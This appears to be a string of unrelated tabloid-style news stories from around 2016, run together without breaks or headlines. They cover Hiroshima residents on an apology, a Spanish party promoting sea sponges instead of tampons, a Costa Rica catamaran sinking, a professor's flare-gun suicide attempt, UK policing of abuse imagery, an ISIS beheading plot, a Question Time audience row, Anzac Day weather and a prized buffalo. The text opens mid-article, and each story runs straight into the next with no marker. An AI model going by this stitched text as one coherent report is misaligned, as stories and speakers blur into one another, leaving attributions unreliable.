'I don't think it is something absolutely necessary when we think of the future of the world and peace for our next generation,' Masahiro Arimai, a 71-year-old Hiroshima restaurant owner, said of an apology.

Yoshifumi Sasaki, a 68-year-old, longtime resident, agreed: 'We all want understanding.'

About 140,000 people died directly from the Hiroshima blast or later from severe radiation exposure. The city, a key military installation during the war, was flattened by the massive detonation.
A political party in Spain has raised eyebrows by suggesting women with an environmental conscience should ditch tampons in favour of sea sponges.

Candidatura de Unidad Popular, often called the anti-system party, says other options should also be considered, such as menstrual cups and 'ridding the body of its natural fluids by exercising pelvic floor muscle control'.

Members of CUP in the Catalan town of Manresa stress they aren't against all the traditional products but they do think women should know about and consider all the alternatives to help with a greener world.

Spanish politicians have suggested women start using sea sponges as an alternative to tampons

Sea sponges, which can be rinsed out and used internally each month, can last up to a year.

Any natural sea sponge can be used but NOT the manufactured one for washing up! They can be cut to fit and some women sew dental floss to them to act as a string.

The sea sponges are said to be much better for the environment, cheaper and more comfortable.

Menstrual cups are usually made of medical grade silicone, shaped like a bell and flexible and are also used internally.

Another option, they say, are reusable cloth sanitary towels.

The politicians want more education for women on such alternative products and workshops on 'how to establish a good relationship between the individual and their body.'

They say there should be workshops for teenagers and classes in secondary schools.

The CUP party in the Catalan region of Spain have suggested women turn to sea sponges or menstrual cups instead of tampons, as they're better for the environment and more cost effective

According to the CUP, the issue is critical because 'the menstrual cycle is full of myths' and is explained in a 'scientific' way in schools, 'without going into depth'.

Commenting on the traditional products, a spokesman for the group said: 'Many products are harmful to women's health, environmentally unsustainable and overpriced for such a basic need.'

It's estimated that the average woman throws away 250 to 300 pounds of sanitary products in her lifetime.

The group feels so strongly about their message that it instigated a debate in the local council chamber.

The party has also suggested reusable sanitary towels, which can reduce the 250 to 300 pounds of traditional sanitary products which an average woman throws away in her lifetime

The suggestions by CUP haven't gone down too well with everyone, however, though it's definitely become a talking point with hundreds of comments posted on social network sites and Spanish newspapers.

Critics accuse them of turning the clock back in terms of women's liberation whilst others are applauding them for addressing a taboo topic head on.

'It seems a brilliant initiative! Healthy for the environment and for the woman,' said one supporter.

'What are we going to have next? Menstrual inspectors?' said another.
The catamaran flipped after it began taking on water in heavy seas

This is the moment a tourist catamaran carrying more than 100 people capsized and sank off the coast of Costa Rica, causing the deaths of three elderly passengers.

The terrifying video, filmed by one of the passengers, shows the boat tipping as water rushes in on the upper deck, with panicking passengers holding on to tables as it lists.

The whole incident is captured, showing passengers getting stuck under the upper deck canopy at the catamaran sinks, and their wait for rescue with the bodies of the dead float next to them.

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Fear: Passengers hold on to tables at the catamaran carrying 98 passengers and 10 staff being to list in heavy wind off the coast of Costa Rica in January last year

Panic: Tourists in lifejackets, including a woman holding on to her children, can be seen fighting for their lives as the water rushes in

Lucky escape: The incident was captured on a GoPro camera by a passenger who survived the capsizing

The catamaran carrying 98 passengers and 10 crew members sank off Costa Rica's Pacific Coast in January last year.

Three elderly people died in the incident; Briton Ivor Stanley Hopkins, 80, American Edna Oliver, 68, and Canadian Sharon Johnson, 70.

Alexis Esneault, then 21, filmed the sinking on her GoPro as she was sat on the upper deck of the catamaran.

'At first I had no idea it was so serious. As long as we could have our Margaritas, I was fine,' Ms Esenault, now 23, told The Sun.

'But then very quickly it became clear that there was a serious problem. People were sliding down the boat and screaming. It happened very quickly.

Incident:The passengers were tourists from all over the world, but a majority were U.S. citizens, who had paid 125 US dollars (83) for a day trip to a nearby island

The catamaran carrying 98 passengers and 10 crew members sank off Costa Rica's Pacific Coast in January last year, but the footage has not been released until now

The whole incident is captured on camera showing passengers getting stuck under the upper deck canopy at the catamaran sinks

Ms Esenault was forced to take off her life jacket in order not to get stuck under the blue plastic canopy, and described hos she swam up to the surface as the boat sank around her.

She told the paper how she and dozens of other passengers were left in the water for over an hour before they were saved, with the bodies of the dead floating next to them.

'I could see the British man had drowned, but there was nothing we could do. Afterwards I couldn't sleep for weeks - all I could see when I shut my eyes was water.'

The National Meteorological Institute had issued a warning about strong winds buffeting the country at the time of the accident, but authorities said the boat was properly permitted and authorized by the port captain to set sail.

Private boats in the area took in passengers until rescuers arrived. They were later transported to two emergency centers on shore.

The video shows Ms Esenault and dozens of other passengers in the water after the boat has sunk

Ms Esenault revealed they were left in the water for over an hour before they were saved, with the bodies of the dead floating next to them

Ms Esenault said the survivors had tried to keep each other calm in the sea as they waited for rescue

One told the BBC: 'We were floating in the ocean. Many people were crying, screaming, asking for help,' an unidentified woman told local television.

Todd Olson, a tourist from Kansas, told the station: 'The captain started to turn the wheel to the left. There were pretty heavy seas and we started to take water on, apparently on the right side.

'Within a minute it was flipped. Very fast, shocking.'

Some 2.4 million foreign tourists - most of them from the US - visited the country in 2013, according to Costa Rica's Tourism Board and it is deemed as one of the safest destinations for tourists in Latin America.

Tour operator Pura Vida Princess reported the 100ft catamaran left Marina Los Suenos. They were going on a day trip to the popular Tortuga (Turtle) Island.

According to the Pura Vida Princess website, the Tortuga Island day trip costs 125 US dollars (83) and includes meals, a DJ, snorkelling and open bar.

Tragedy: Tourists who survived a shipwreck off the coast of Costa Rica, are received by relatives in Herradura beach, Puntarenas. Three people including an elderly American and Canadian woman died

Distraught: A tourist who was on the cruise when the boat began to sink cries as she holds a cup

Safe: Passengers from the downed boat gather as they reach the shore. The vessel was carrying more than 100 people at the time

Concerned: Tourists stand in groups at the Coast Guard station in Caldera, Puntarenas

Transport: A man wearing his swimming trunks is led to the bus taking passengers back to their accommodation
The husband of renowned author Monica Wood was rescued from his flaming truck after 'shooting himself three times in the head with a flare gun'.

Daniel Abbott, 65, was pulled from his burning vehicle by two passers-by on Interstate 295 in Freeport, Maine on Tuesday morning.

One doused the flames with a fire extinguisher moments before they reached the truck's modified propane fuel tank, saving an enormous explosion.

The husband of renowned Maine author Monica Wood (pictured) was rescued from his flaming truck after 'shooting himself three times in the head with a flare gun'

Paul Oleston and Jayson Forgues were the good Samaritans, reports WMTW.

'In the break down lane and I noticed a white pick up truck. All of sudden I was like "Oh there are flames coming from the vehicle,"' Mr Oleston told the outlet.

Mr Forgues added that he saw a man inside the truck bleeding heavily. His natural instincts kicked and he pulled the man to safety, before dialling 911.

Mr Abbott, a professor of computer aided design at Southern Maine Community College, is in critical condition at Maine Medical Center in Portland after what police believe was an attempted suicide.

'He has been a longtime, highly respected professor here,' college spokesman Clarke Canfield told the Portland Press Herald.

Police have confirmed that Mr Abbott is married to Monica Wood, who has written seven books including When We Were the Kennedys, a memoir about her childhood in Mexico, Maine, and the loss of her father.

For confidential support call the National Suicide Prevention Line on 1-800-273-8255
Change: National Crime Agency boss Lynne Owens has suggested people who look at low-level child porn could be offer counselling instead of jail

People who look at low-level child porn could be offered counselling instead of jail because of the 'massive' amount of abuse material online, the head of Britains FBI has said.

National Crime Agency boss Lynne Owens has said that the move could help focus on tackling the paedophiles who are abusing children themselves.

Ms Owens believes that huge volume of paedophilic material now being shared online requires a radical change.

The police chief has said that those viewing 'low-level' abuse images could be contacted by investigators by email or instant message.

But instead of arresting them they may suggest they seek help from charities or counselling services that will move them back to conventional adult-based pornography.

Ms Owens, who earns 214,000-a-year running the NCA, said that this could free up the authorities to prosecute more of those looking at high-level images or actively abusing children themselves.

She told The Times: '(If) it looks like they're not individually engaged in abusing children, they are just viewing the images, but we want them to stop, you can see it could be possible, with a whole load of ethical checks and balances, to try and make contact with them overtly and get them to engage with charities to improve their offending behaviour.

'I want to crack down and pursue those people who are abusing children now. So much work and effort is directed on those who are sharing images.

'I think we need to increase our focus on those who are involved in the actual abuse. One of the things we are now looking at is how confident could we be that somebody who is viewing images online is not abusing children themselves'.

Record numbers of web pages containing child sexual abuse images are being detected following a dramatic spike in reports, a watchdog revealed yesterday.

Warning: The police chief has that those viewing 'low-level' abuse images could be contacted by investigators by email or instant message

Some 68,092 URLs were identified and taken down by the Internet Watch Foundation last year - a rise of 118 per cent on 2014.

Pages containing child sexual abuse imagery were recorded by the organisation at a rate of nearly 200 every day.

In October action was taken on a record-breaking 941 web pages in a single day. Each confirmed report could involve one or 1,000 images.

Britain's most senior female police officer Lynne Owen has been outspoken on child abuse since she was handed the 214,000-a-year role running the 'UK's FBI'.

Last month she said the police prioritise current cases over allegations of historical sex abuse had a "responsibility" to catch current offenders.

She also questioned whether an in-depth criminal investigation was appropriate if an alleged offender was dead or deeply unwell.

It emerged earlier this year she was facing the sack from her old job as Chief Constable of Surrey Police because of the force's failure to protect children, including murdered teenager Breck Bednar.

A letter published in February showed that Surrey Police and Crime Commissioner Kevin Hurley accused her of 'moral cowardice' for blaming others for a 'litany of failures'.

But before Mr Hurley could move to dismiss her she was appointed director-general of the National Crime Agency in November.

When she was at charge at Surrey she also admitted there were a number of crimes that police couldn't investigate because of work pressures.
A New England ISIS suspect tried to organise the beheadings of 'non-believers' from inside jail while awaiting trial on terror charges, prosecutors claim.

Nicholas Rovinski of Warwick, Rhode Island and his co-accused David Wright of Everett, Massachusetts were arrested and charged in June 2015 with providing material support to ISIS.

However, following a hearing at US District Court in Boston on Thursday, the pair were also charged with plotting to kill conservative blogger Pamela Geller.

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Nicholas Rovinski, right, and David Wright, second left, are both facing terror charges in Boston having been accused of plotting to decapitate 'non-believers' including conservative blogger Pamela Geller

Pamela Geller, pictured, was allegedly targeted because she organised a 'Draw Mohammad' competition

Prosecutors allege Rovinski and Wright received instructions from a foreign-based ISIS recruiter.

Rovinski and Wright both pleaded not guilty to the terrorism charges.

The court heard the pair allegedly plotted with Wright's uncle Usaamah Rahim to behead blogger Pamela Geller, who is known for provoking Muslims. The plot was not carried out.

Thursday's indictment says ISIS recruiter and hacker Junaid Hussain communicated instructions about the plot directly to Rahim from overseas in May 2015. It says Rahim then told his nephew.

Hussain was killed in a US drone strike in Syria in August. The US military has said Hussain had been recruiting sympathizers in the West to carry out lone-wolf terrorist attacks.

Rahim was killed June 2 by investigators who say he lunged at them with a knife when they approached him in Boston.

Prosecutors allege that Wright, left, and Rovinski plotted with Wright's uncle Usaamah Rahim, right, to decapitate Geller. Rahim has shot dead by the FBI on June 2 after he threatened to stab agents with a knife

According to the indictment, even from jail, Rovinski has tried to recruit people to help carry out plans for violent attacks in the United States, including to decapitate non-believers.

Geller last year organized a Prophet Muhammad cartoon contest that ended in gunfire in Garland, Texas, with two Muslim gunmen shot to death by police. She has spearheaded scores of events across the nation to decry Islamic extremism.

According to the new indictment, Rovinski has continued to support Islamic State while in jail by trying to recruit others to 'decapitate non-believers' and take down the U.S. government and by writing a new pledge of support to the group's leader, Abu Bakr al-Baghdadi, on the back of his own criminal complaint.

Rovinski and Wright pleaded not guilty to the original charge of conspiring to provide material support to a designated terrorist organization after they were arrested in June, and they were due to face trial in February 2017.

Rovinski and Wright are believed to have been in contact with British jihadi Junaid Hussain who was killed in a US drone strike in Syria in August. Hussain was believed to be the leader of the CyberCaliphate

According to the new indictment, Rovinski and Wright plotted their attacks with Wright's uncle, Usaamah Abdullah Rahim, who was shot dead by law enforcement officers last June when Boston police and agents for the Federal Bureau of Investigation approached him and he threatened them with a knife.

The indictment accused Rahim of beginning communication one month before he was shot with a British member of Islamic State, Junaid Hussain. Hussain was believed by government sources to be the leader of CyberCaliphate, a hacking group that last year attacked a Twitter account belonging to the Pentagon.

The indictment said Hussain gave Rahim instructions that Rahim passed on to Wright about targeting individuals such as Pamela Geller, organizer of a 'Draw Mohammad' cartoon competition in Garland, Texas, that was attacked by two gunmen last May.

Hussain was killed in a US drone strike in Syria last August.

Wright has pleaded not guilty to charges he alone faced of obstructing justice and conspiring to obstruct justice after he was accused of instructing Rahim to delete his phone and laptop data.
She also called for NHS workers who 'go AWOL' by striking to be sacked

Woman claimed that doctors only work long hours to can get overtime pay

A Question Time audience member was furiously booed after she accused junior doctors of deliberately working long hours in order to claim more overtime payments.

The woman, a former A&E worker, claimed that doctors 'choose' to work up to 80 hours a week during the latest episode of the BBC current affairs show, which was filmed in Exeter.

But other people in the audience reacted negatively to her furious rant, booing and trying to drown her out.

Rant: A woman in the Question Time audience last night launched an impassioned argument criticising junior doctors for claiming overtime pay

The woman's intervention came during a discussion of the junior doctors' strike on Question Time last night, featuring politicians such as Liam Fox and Paddy Ashdown.

Doctors have staged a series of walkouts over Health Secretary Jeremy Hunt's decision to impose a new contract designed to encourage them to work more nights and weekends.

A junior doctor in the Exeter audience argued that the public is behind the strike, only to be interrupted by the woman who blamed the dispute on the doctors themselves.

She said that despite their claims of being overstretched by working extra-long shifts, they only work more than 50 hours if they opt in to do so in order to get more money.

'I used to work in A&E, and before you do extra hours you opt in, with any job now there's a scheme, you either opt in or out,' she said.

Passion: The woman argued that doctors should be sacked if they fail to turn up to work because of strikes

Angry: She said that doctors only work long hours if they explicitly opt in to do so

'They do 79 hours because they push at the weekend for more money - I'm sorry, it is true, because they want overtime.

'Nobody can force anyone to do more than 50 hours a week, they choose to physically do it. They put the patients at risk themselves, it's all about money and it is wrong.'

As other audience members began to boo and looked incredulous, the woman went on to argue that doctors who go on strike should be fired for failing to fulfil their duties.

Do you know the Question Time audience member? Please email hugo.gye@mailonline.co.uk or call 0203 615 3594 Advertisement

'Anybody who goes AWOL and doesn't turn up for a shift when they go on strike should be sacked,' she said. 'If you were in the military, you'd get arrested for going AWOL.

'The NHS don't want them going off work, they are technically going AWOL - they are not turning up for their shifts, making people anxious by cancelling appointments.'

Several viewers at home also criticised the woman, including Labour MP Liz McInnes who said: 'I'm intrigued as to what that audience member did when she worked in A&E.

'She thinks the doctors just turned up to claim overtime?'

Danny Ashton suggested the woman had been planted in the audience, tweeting: 'Got to be a ringer, no way she wants striking doctors to be sacked.'

But others rushed to her defence - Andy Smith wrote on Twitter: 'Agree with the lady on Question Time about junior doctors: irresponsible for them to go on strike and push for greater pay.'

Panel: The incident took place during an episode of the show hosted by David Dimbleby and featuring (left to right) Tim Martin, Lord Ashdown, Liam Fox, Kate Hoey and Leanne Wood

Reaction: Many other members of the audience booed the arguments and some were visibly in disbelief

Host David Dimbleby asked Dr Fox - the former Defence Secretary who worked as a GP before entering Parliament - to respond to the woman's remarks.

But before he could, a young man in the audience embarked on a rant of his own, telling the Conservative MP: 'You're a traitor to your profession, you're an affront to medicine.'

Dr Fox, who supports the Government's NHS reforms, said: 'I don't think the doctors are just being greedy, I think there is a real problem moving from the system we had to a new one.'

The other members of last night's panel were Wetherspoon's boss Tim Martin, the anti-EU Labour MP Kate Hoey and Leanne Wood, leader of Plaid Cymru.

Junior doctors - i.e. all hospital doctors below the status of consultant - have staged high-profile strikes, with the next planned for next week, in a bid to force Mr Hunt to back down.

The new contracts would see basic pay rise while overtime payments for working evenings and weekends are cut.

The Government says the new scheme will encourage the NHS to move to seven-day care by making it more normal for doctors to do shifts outside the normal working week.

But the British Medical Association, which is leading the strikes, claims doctors will be overstretched under the new regime, endangering patients' safety.

A spokesman for the NHS Federation said today that the woman's claims about opting in to extra hours are correct - doctors can work no more than 48 hours a week on average unless they sign a document waiving their rights under the Working Time Directive.

'An employer cannot require a doctor to opt out, it is a purely voluntary act and the contract makes this very clear,' she added.
North Korean dictator Kim Jong-un ordered a fancy cookery contest in his capital city, while millions around the hermit state starve.

The exhibition showcased the country's developing culinary skills, in spite of the fact that famine is rife.

The Pyongyang Times, a state newspaper which publishes in English and French, reported on the cooking festival which took place between April 6 and 8 to mark the 'Day of the Sun', and saw 1,000 cooks competing.

Food lover Jong-un ordered a cooking contest in the capital of Pyongyang in which 1,000 people competed, presenting dishes of terrapin, sturgeon, pheasant and broccoli

They wrote: 'The participants presented famous local and foreign dishes and specialities of their units and local areas.

'On display at the famous and local special dish show were cold and hot dishes made of meat, fish and vegetables, traditional and modern sweet dishes, fruit punch and juice, tea and the like.'

They added that the dishes were 'highly appraised' and 'well liked by diners', in the country where freedom of expression is curtailed.

Among the wide range of foods on display were terrapin and sturgeon, five kinds of pheasant dishes and, oddly, five kinds of broccoli dishes.

The newspaper also reports over 70 items of 'sci-tech hits' were exhibited, boasting of new visual aids and multimedia being used in the cooking world.

In a country of 22 million citizens, it is believed up to 600,000 could have died during a prolonged famine in the 1990s.

Economic mismanagement has meant food shortages remain a part of daily life for the vast majority of citizens, with the number of hungry people doubling from 4.8 million in 1990 to 10.5 million in 2014.

Food shortage is widespread in North Korea, with an estimated 10 million people affected across the country, although their leader is well known to enjoy luxury cheeses and wines from France

Jong-un leads a cult of personality in the reclusive communist state, in which his late father and grandfather are also adored by a population of some 22 million

The famously tubby Kim Jong-un is well known for his love of food, with a particular fondness for French cheeses and wines, which he discovered while studying as a young man in Switzerland.

His culinary indulgence is thought to have left the 33-year-old suffering from diabetes and gout, and weighing an estimated 130kg.
A local shire has translated its road rules into seven different languages in response to Western Australias shocking road toll ahead of the Anzac day long weekend.

The initiative was started by Manjimup Shire after a number of travellers were killed on roads in the area, including two men near Northcliffe on Sunday.

Shire president Wade De Campo said the road rules will be made into signs which will be handed out and displayed at backpackers, hotels and local shops.

A local shire has translated its road rules into seven different languages in response to Western Australias shocking road toll ahead of the Anzac day long weekend (pictured here in Italian)

At any given time up to 20 percent of our population are travellers, he told Daily Mail Australia.

We're able to put them [road rules] into PDF format and hand them out at hostels and hotels.

The signs wont just cover road rules Mr De Campo said.

The initiative was started by Manjimup Shire (pictured) after a number of travellers were killed on roads in the area, including two men near Northcliffe on Sunday

They will include warnings about narrow roads and wildlife.

The pamphlets will be available in English, Japanese, Italian, German, French, Estonian and Chinese and be distributed ahead of the weekend.

Mr De Campo said he has already has a positive response form neighbouring shires hoping to introduce the same initiative.

All were trying to do is get everyone home safely, he said.
David Cameron has ordered his diplomats in Washington to reach out to Donald Trump to repair relations in case the Republican front runner pulls off an improbable White House win.

The Prime Minister slammed Mr Trump at 'divisive, stupid and wrong' last year in the wake of controversial remarks about stopping Muslims entering America.

Responding to a petition calling for Mr Trump to be banned from visiting Britain, Mr Cameron said he opposed an outright ban but told MPs: 'If he came to visit our country I think he would unite us all against him.'

There are fears in Government the remarks could leave the 'special relationship' between Britain and America on ice were Mr Trump to enter the White House in January.

Donald Trump, the Republican front runner, is set to be contacted by British diplomats as No 10 worries about mending relations after David Cameron launched a fierce attack on him last year

Sir Kim Darroch, Britain's ambassador to America, has been told by No 10 to prioritise building links with the foreign policy advisers in Mr Trump's team.

A Government source told The Times: 'I think its fair to say that the prime minister wouldnt say that the whole of the UK would unite against Donald Trump if he was asked now.'

Downing Street today insisted the meetings were a normal diplomatic move ahead of major elections.

Mr Cameron's official spokeswoman said: 'It's a well known job of our ambassadors and embassies to know the political leading figures wherever they are in the world and to engage with them.

'Obviously as we get close to the point where nominees for the US Presidency are decided it makes sense to ensure we have got good links to those candidates.'

Asked if Mr Cameron still believed Mr Trump was 'divisive, stupid and wrong', the spokeswoman added: 'You've got (the Prime Minister's) words.'

Mr Trump sparked international outrage in the wake of the Paris attacks when he said: 'We have places in London and other places that are so radicalised that the police are afraid for their own lives.

'We have to be very smart and very vigilant.'

London Mayor Boris Johnson - who could be in No 10 by the time of a Trump victory if Britain backs Brexit in June - led criticism of the statement.

But Mr Trump stood by his claims last month, telling ITV: '(Boris) said like they have no problems in London at all.

David Cameron could have to welcome Donald Trump to Downing Street within months

'But I was written letters and phone calls talking about London and talking about the fact that I was right.'

The Republican front runner named a new team of foreign policy advisers last month, including London-based lawyer George Papadopoulos.

Mr Trump's White House run appeared to be back on track this week after the tycoon secured a big win in his home state of New York.

The results mean Mr Trump continues to hold a significant lead over his nearest rival, Ted Cruz, in the race for the Republican nomination.

Last night, Mr Trump called on his two rivals to clear out of the Republican presidential race Thursday night, saying he's the only GOP White House hopeful who can possibly win the support of a majority of Republican National Convention delegates.

'Honestly, Cruz and Kasich have no path to victory,' he said in Harrisburg, Pennsylvania five days before the Keystone State's primary election. 'It's over. It's over.'

Trump, Texas Sen. Ted Cruz and Ohio Gov. John Kasich are the last survivors of a field that began with 17 contenders.

Cruz is running in second place on the strength of what Trump called a 'crooked' delegate allocation process, but the real estate tycoon insisted he's 'kicking a**' anyway.

If Mr Trump does win the nod at July's Republican National Convention, recent tradition might suggest a visit to Britain ahead of November's general election.
Mother Nature has promised a mostly sunny and perfect weekend to commemorate the diggers over the Anzac Day break, according to the latest national weather forecast.

The Bureau of Meteorology's latest predictions for the 101st Anzac Day has guaranteed a chilly start for the hundreds of thousands of people gathering across Australia to attend dawn services but a mostly fine April 25, with the exception of showers in Brisbane and Perth.

Melburnian crowds of up to 100,000 people expected to attend the city's dawn service at the Shrine of Remembrance can expect a mystical start with morning fog patches and a low of nine degrees.

The sun will break through for a bright 21 degrees - perfect rain-free conditions for the traditional AFL clash between Collingwood and Essendon at the MCG.

The Bureau of Meteorology's latest predictions for the 101st Anzac Day has guaranteed a chilly start for the hundreds of thousands of people gathering across Australia

Melburnian crowds of up to 100,000 people expected to attend the city's dawn service at the Shrine of Remembrance can expect a mystical start with morning fog patches and a low of nine degrees

The sun will break through for a bright 21 degrees - perfect conditions for the traditional AFL clash between Collingwood and Essendon at the MCG should be rain-free

ANZAC DAY NATIONAL FORECAST Melbourne: 9-21 degrees, mostly sunny Sydney: 16-23 degrees, partly cloudy Brisbane: 18-26 degrees, possible shower Perth: 16-21 degrees, showers Canberra: 7-22 degrees, mostly sunny Darwin: 25-36, sunny Adelaide: 14-27 degrees, sunny Hobart: 8-22 degrees, sunny Advertisement

A smaller crowd expected to form at the Hobart Cenotaph will endure one of the coldest dawn services of the country's capitals with a low of eight degrees before the sun heats up the city for a top of 22 degrees.

Sydney crowds gathered on Elizabeth Street for the first time in the parade's history can expect a mild April morning with a low of 16 degrees. The day will be partly cloudy with light winds and a pleasant 23 degrees.

NRL fans will be rejoicing with the knowledge of a clear day after last year's nightmare Anzac Day clash between the Roosters and Dragons was rained out by a torrential downpour.

Raincoats and Akubras for those looking to stay dry in Brisbane with a 40 per cent chance of showers throughout the day and a top of 26 degrees.

Sydney crowds gathered on Elizabeth Street for the first time in the parade's history can expect a mild April morning with a low of 16 degrees

Sydney's Anzac Day commemorations will be partly cloudy with light winds and a pleasant 23 degrees.

Those heading to the capital to commemorate Anzac Day at the Australian War Memorial in Canberra can brace for the coldest morning in the country, with a low of seven degrees before a 22 degree high in the afternoon.

Thunderstorms will roll in to batter the west coast from Sunday, with Perth expected to endure showers and winds throughout for the majority of Monday and Tuesday - a brolli and raincoat essential for those attending marches and memorial services.

The Northern Territory capital will reach the highest national temperature for the day with a simmering top of 36 degrees, while Adelaide crowds at South Australia War Memorial will welcome a mostly sunny day with a top of 27 degrees.

Thunderstorms will roll in to batter the west coast from Sunday, with Perth expected to endure showers and winds throughout for the majority of Monday and Tuesday
Bishop Aegidius Zsifkovics has refused to allow the Austrian government to build its anti-refugee fence on any property owned by the Diocese of Einstadt near the Austria-Hungary border

A Catholic Bishop has disrupted the Austrian government's fight against refugees after prohibiting the construction of a nine-kilometre anti-refugee fence on any Church-owned land.

The fence, which will be built along Austria's border with Hungary, is the latest in a number of hard line stances taken by the Austrian government against asylum seekers.

However Aegidius Zsifkovics, Bishop of the diocese of Eisenstadt, has ensured the fence will be built with at least two holes after refusing to allow construction on properties owned by the church in Moschendorf, in the country's southeast.

The 53-year-old Bishop said that fences weren't the answer to Europe's refugee crisis and allowing them would be a contradiction of Pope Francis's views.

'(A fence) would contradict the spirit of the Gospel, Pope Francis's clear message to Europe, and in particular for a diocese that was in the shadow of the Iron Curtain for decades,' Bp Zsifkovics said.

'We need to tackle today's problems at their root and that means: stopping organised human trafficking, stopping sales of European arms, stopping war and the deliberate destabilisation of the Middle East.'

The Bishop's decision means that there will be two holes in the wall near Moschendorf, situated on the eastern border of Austria

Austria took in 90,000 refugees in 2016 and saw almost 10 times that cross through its borders as they searched for asylum in Germany and throughout Scandinavia.

Bishop Zsifkovics said that the church had always opened its doors throughout the refugee crisis and that despite the Austrian government's plans, now was not the time to change.

'Last year, during the worst refugee crisis of recent years when 200,000 people crossed the border at (nearby) Nickelsdorf in six weeks, practically overnight we provided around a thousand emergency places in Church buildings for exhausted families, for women, children and old and weak people,' he said.

'And now we are supposed to build a fence on Church lands?'

The Austrian government's hard line stance on refugees saw them pressure countries in the Balkans to effectively shut down this route for asylum seekers earlier this year.

They have planned to erect several barriers, including at Moschendorf and at the Brenner Pass on the Italian border, in case of a new influx.

Zsifkokvics also said that a fence would be a clear contradiction in this, the pope's Year of Mercy.
The USS Harry S Truman has broken the record for the amount of ordnance dropped on ISIS since the start of Operation Inherent Resolve.

Since beginning its seven month deployment in the Arabian Gulf in December 2015, strike aircraft on board the nuclear powered carrier have dropped more than 1,118 pieces of ordnance on ISIS targets during 1,407 combat sorties.

The deployment beats the previous record held by the USS Theodore Roosevelt.

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Aircraft operating off the USS Harry S Truman, pictured, have dropped 580 tonnes of ordnance on jihadis since taking up station in the Arabian Gulf in December 2015 for its seven-month mission deployment

This F/A-18 Super Hornet landing on board the flight deck of the USS Harry S Truman on April 15

The nuclear-powered carrier has been conducting 'around-the-clock' strikes against ISIS since December

Aircraft from the Truman have dropped more than 580 tonnes of munitions on targets in Iraq and Syria

In total, F/A-18 Super Hornets on board the Truman have dropped more than 580 tonnes of bombs and missiles in jihadi targets in Syria and Iraq.

Commanding officer Captain Ryan B Scholl said: 'Since our arrival in the Arabian Gulf, the Truman Strike Group has been conducting operations around the clock.

'This deployment is busier than any other I've seen. Every Sailor is doing great work individually and executing as a combat team to reach this milestone. It is due to this dedication as a combined force that Truman is making a significant difference fighting for our country.'

The United States has dramatically increased the intensity of its attacks against ISIS targets in Iraq and Syria.

Earlier this month, the Pentagon released footage of the first airstrikes in the current campaign by the mammoth B-52

Lt General Sean MacFarland, commanding general of the Combined Joint Task Force Operation Inherent Resolve congratulated sailors onboard the Truman for their work: 'I want you to know the impact you are having. You've seen the [OIR] strike videos; but holistically, what I'm seeing is an enemy who doesn't have gas left in the tank.'

The United States has dramatically increased the intensity of strikes against ISIS in recent weeks

The ship's weapons officer Commander Jim McDonald said: 'We figured based on [Roosevelt's] deployment that we would be utilized more than our previous deployment. We had no idea we would be used to this extent and magnitude. We started dropping bombs December 29 and here we are in mid-April still going strong.

'The leadership's number one concern has always been safety, not necessarily the number of bombs we are dropping. Making sure things are being done safely, and by the book, has really been our main focus. The air wing being able to successfully put bombs on target tells us that we're doing our job right.'

In other signs of an increasing tempo, US commandos working with Kurdish troops conducted a raid targeting a senior ISIS group figure and the Pentagon said it has changed how air strikes risking civilian deaths are approved.

Under the new rules, authority now comes from the commanding three-star US general in Baghdad, instead of going through a four-star at the US Central Command's headquarters in Florida.

The United States has recently deployed B-52 Stratofortress aircraft to Qatar to intensify strikes against ISIS

The B-52 strike took out an ISIS weapons storage facility near Quyarrah, 35 miles south of Mosul

Baghdad-based military spokesman Colonel Steve Warren insisted the changes do not lessen oversight standards in determining when civilian losses are an acceptable risk.

He said: 'This does not translate to more civilian casualties, this translates to a more rapid execution of strikes.'

The Pentagon has acknowledged 26 civilian deaths due to US-led coalition strikes since the campaign began in August 2014 in Iraq, and credits the use of guided missiles in keeping the number relatively low - though independent observers say the figure is far higher.

Defense secretary Ash Carter announced an additional 217 US forces would be deployed to Iraq as advisors, pushing the official count there past 4,000.

The Pentagon has also offered Apache attack helicopters for use in an eventual push on Mosul, Iraq's second city and which is under control of ISIS.

Separately, Danish lawmakers have approved a plan to commit seven F-16 warplanes, a transport aircraft and 400 military personnel to expand its fight against the extremists.

The strike by a B-52 Stratofortress blew up an ISIS weapons storage facility in the town of Qayyarah, about 35 miles south of Mosul.

The enormous planes, originally designed in the 1950s, became a symbol of US might during the Cold War and the aircraft was used to conduct carpet bombing in Vietnam.

Warren said the B-52s are only being armed with guided bombs.

He said: 'There are memories in the collective unconscious of B-52s, decades ago, doing... arguably indiscriminate bombing.

'Those days are long gone. The B-52 is a precision-strike weapons platform and it will conduct the same type of precision strikes that we have seen for the last 20 months.'

Several B-52s arrived in Qatar earlier this month to replace a contingent of newer B-1 bombers that had been working in Iraq and Syria for about a year.

Warren also announced that US commandos in northern Iraq had targeted Suleiman Abd Shabib al-Jabouri, 'one of ISIL's military emirs and an ISIL war council member'.
Meet Horizon, the world's most expensive buffalo, worth a staggering 8.5 million.

One of the largest buffalo, with a 56 inch horn span, Horizon is South Africa's most sought after buffalo bull.

Horizon is such hot property that a 25% share in him sold for over 2.1 million in February to South Africa-based businessman Peter Bellingham.

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Horizon is now the most valuable buffalo in the world, valued at 8.5 million or 176 million South African Rand

Valuable purely due to his large horn span and impeccable genes, Horizon is a goldmine, with every farmer wanting a piece of the gene pool.

One of Africa's big five, Game Reserve owners buy buffalo to attract tourists and Horizon offers them the opportunity to breed the biggest and the best herds.

And with hunting big business in Africa, buffalos with large horns spans like Horizon entice the most experienced of hunters in search of a prize catch.

Horizon produces such good quality offspring that he more than triples the value of every buffalo he impregnates, with a normal pregnant buffalo worth an average 38,000, to one carrying Horizon's offspring being worth over 121,000.

The prized buffalo was originally sold by game breeder Jacques Malan.

He is now owned by four South African businessmen and resides on the farm of one of his owners, Piet du Toit, in Rustenberg, South Africa.

Horizon's 56 inch wide horn span is exceptionally long for buffalo, and helps him stand out from the crowd

Valued at a record 176 million South African Rand (8.5million) Horizon has surpassed the 40 million South African Rand (1.9 million) paid for a buffalo named Mystery in 2013.

Each of the businessmen own a 25% stake in Horizon and each can breed him with ten cows every year. They each then have the rights for the offspring that their ten cows produce.

Game breeder Piet du Toit, 45, said: 'Horizon is a buffalo that has the most unbelievable horn span in history, he is disease free and he is the biggest that has been breeding.

The buffalo's 'impeccable genes' means he is much sought after for breeding, and raises the value of the female cows he impregnates

'An average buffalo's horn span is between 36 and 40 inches, Horizon's horns are 56 inches.

'It is rare that a bull carries genetics to his next generation, sometimes a good bull has offspring that is not of great quality.

